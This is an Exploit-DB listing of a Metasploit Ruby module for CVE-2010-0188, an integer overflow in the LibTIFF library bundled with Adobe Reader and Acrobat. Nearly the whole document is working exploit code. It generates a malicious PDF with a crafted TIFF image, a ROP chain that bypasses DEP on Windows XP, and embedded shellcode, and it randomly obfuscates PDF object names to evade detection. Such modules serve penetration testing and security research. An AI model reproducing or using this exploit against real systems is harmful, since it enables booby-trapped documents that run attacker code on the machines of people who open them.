标题: Adobe Acrobat - Bundled LibTIFF Integer Overflow (Metasploit) EDB-ID: 16670 CVE: 2010-0188 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: adobe_libtiff.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',
   'Description'    => %q{
    This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat
    Professional versions 8.0 through 8.2 and 9.0 through 9.3.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Microsoft',                         # reported to Adobe
     'villy <villys777 [at] gmail.com>',  # public exploit
     # Metasploit version by:
     'jduck'
    ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2010-0188' ],
     [ 'BID', '38195' ],
     [ 'OSVDB', '62526' ],
     [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],
     [ 'URL', 'http://secunia.com/blog/76/' ],
     [ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'DisableNops'  => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # test results (on Windows XP SP3)
     # reader 6.0.1 - untested
     # reader 7.0.5 - untested
     # reader 7.0.8 - untested
     # reader 7.0.9 - untested
     # reader 7.1.0 - untested
     # reader 7.1.1 - untested
     # reader 8.0.0 - untested
     # reader 8.1.1 - untested
     # reader 8.1.2 - untested
     # reader 8.1.3 - untested
     # reader 8.1.4 - untested
     # reader 8.1.5 - untested
     # reader 8.1.6 - untested
     # reader 8.2.0 - untested
     # reader 9.0.0 - untested
     # reader 9.1.0 - untested
     # reader 9.2.0 - untested
     # reader 9.3.0 - works
     [ 'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',
      {
       # ew, hardcoded offsets - see make_tiff()
      }
     ],
    ],
   'DisclosureDate' => 'Feb 16 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
   ], self.class)

 end

 def exploit

  tiff_data = make_tiff(payload.encoded)
  xml_data = make_xml(tiff_data)
  compressed = Zlib::Deflate.deflate(xml_data)

  # Create the pdf
  pdf = make_pdf(compressed)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)

 end


 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj\r\n" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end


 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)
  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end


 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end


 def make_pdf(xml_data)

  xref = []
  eol = "\x0d\x0a"
  endobj = "endobj" << eol

  pdf = "%PDF-1.5" << eol
  pdf << "%" << RandomNonASCIIString(4) << eol

  xref << pdf.length
  pdf << ioDef(1) << nObfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << nObfu("/Type /EmbeddedFile>>") << eol
  pdf << "stream" << eol
  pdf << xml_data << eol
  pdf << eol << "endstream" << eol
  pdf << endobj

  xref << pdf.length
  pdf << ioDef(2) << nObfu("<</V () /Kids [") << ioRef(3) << nObfu("] /T (") << "topmostSubform[0]" << nObfu(") >>") << eol << endobj

  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Parent ") << ioRef(2) << nObfu(" /Kids [") << ioRef(4) << nObfu("] /T (") << "Page1[0]" << nObfu(")>>")
  pdf << eol << endobj

  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << ioRef(5)
  pdf << nObfu("/FT /Btn/TU (") << "ImageField1" << nObfu(")/Ff 65536/Parent ") << ioRef(3)
  pdf << nObfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << nObfu(")/Rect [107.385 705.147 188.385 709.087]>>")
  pdf << eol << endobj

  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")
  pdf << ioRef(6) << nObfu("/Type /Page/PieceInfo null>>")
  pdf << eol << endobj

  xref << pdf.length
  pdf << ioDef(6) << nObfu("<</Kids [") << ioRef(5) << nObfu("]/Type /Pages/Count 1>>")
  pdf << eol << endobj

  xref << pdf.length
  pdf << ioDef(7) << ("<</PageMode /UseAttachments/Pages ") << ioRef(6)
  pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << ioRef(8)
  pdf << ("/Type /Catalog>>")
  pdf << eol << endobj

  xref << pdf.length
  pdf << ioDef(8) << nObfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << ioRef(1) << nObfu("]/Fields [")
  pdf << ioRef(2) << nObfu("]>>")
  pdf << endobj << eol

  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end
  pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(7) << ">>" << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF"

 end

 def make_tiff(code)
  tiff_offset = 0x2038
  shellcode_offset = 1500

  tiff =  "II*\x00"
  tiff << [tiff_offset].pack('V')
  tiff << make_nops(shellcode_offset)
  tiff << code

  # Padding
  tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)

  tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"
  tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
  tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
  tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
  tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
  tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
  tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"

  # The following executes a ret2lib using BIB.dll
  # The effect is to bypass DEP and execute the shellcode in an indirect way
  stack_data = [
   0x70072f7,      # pop eax / ret
   0x10104,
   0x70015bb,      # pop ecx / ret
   0x1000,
   0x700154d,      # mov [eax], ecx / ret
   0x70015bb,      # pop ecx / ret
   0x7ffe0300,     # -- location of KiFastSystemCall
   0x7007fb2,      # mov eax, [ecx] / ret
   0x70015bb,      # pop ecx / ret
   0x10011,
   0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
   0x70015bb,      # pop ecx / ret
   0x10100,
   0x700a8ac,      # mov [ecx], eax / xor eax,eax / ret
   0x70072f7,      # pop eax / ret
   0x10011,
   0x70052e2,      # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)
   0x7005c54,      # pop esi / add esp,0x14 / ret
   0xffffffff,
   0x10100,
   0x0,
   0x10104,
   0x1000,
   0x40,
   # The next bit effectively copies data from the interleaved stack to the memory
   # pointed to by eax
   # The data copied is:
   # \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a
   # \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00
   # \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x90
   0x700d731,      # mov eax, [ebp-0x24] / ret
   0x70015bb,      # pop ecx / ret
   0x26a525a,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x3c2ecd58,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xf4745a05,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x2a4949b8,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xaffa8b00,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xfe87ea75,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xb95f0aeb,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x3e0,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x9eba5f3,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0xfffff1e8,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x909090ff,
   0x700154d,      # mov [eax], ecx / ret
   0x700a722,      # add eax, 4 / ret
   0x70015bb,      # pop ecx / ret
   0x90ffffff,
   0x700154d,      # mov [eax], ecx / ret
   0x700d731,      # mov eax, [ebp-0x24] / ret
   0x700112f       # call eax -- (execute stub to transition to full shellcode)
  ].pack('V*')

  tiff << stack_data

  Rex::Text.encode_base64(tiff)
 end

 def make_xml(tiff_data)
  xml_data = %Q|<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>
|
  xml_data.gsub!(/REPLACE_TIFF/, tiff_data)

  xml_data
 end

end URL: https://www.exploit-db.com/exploits/16670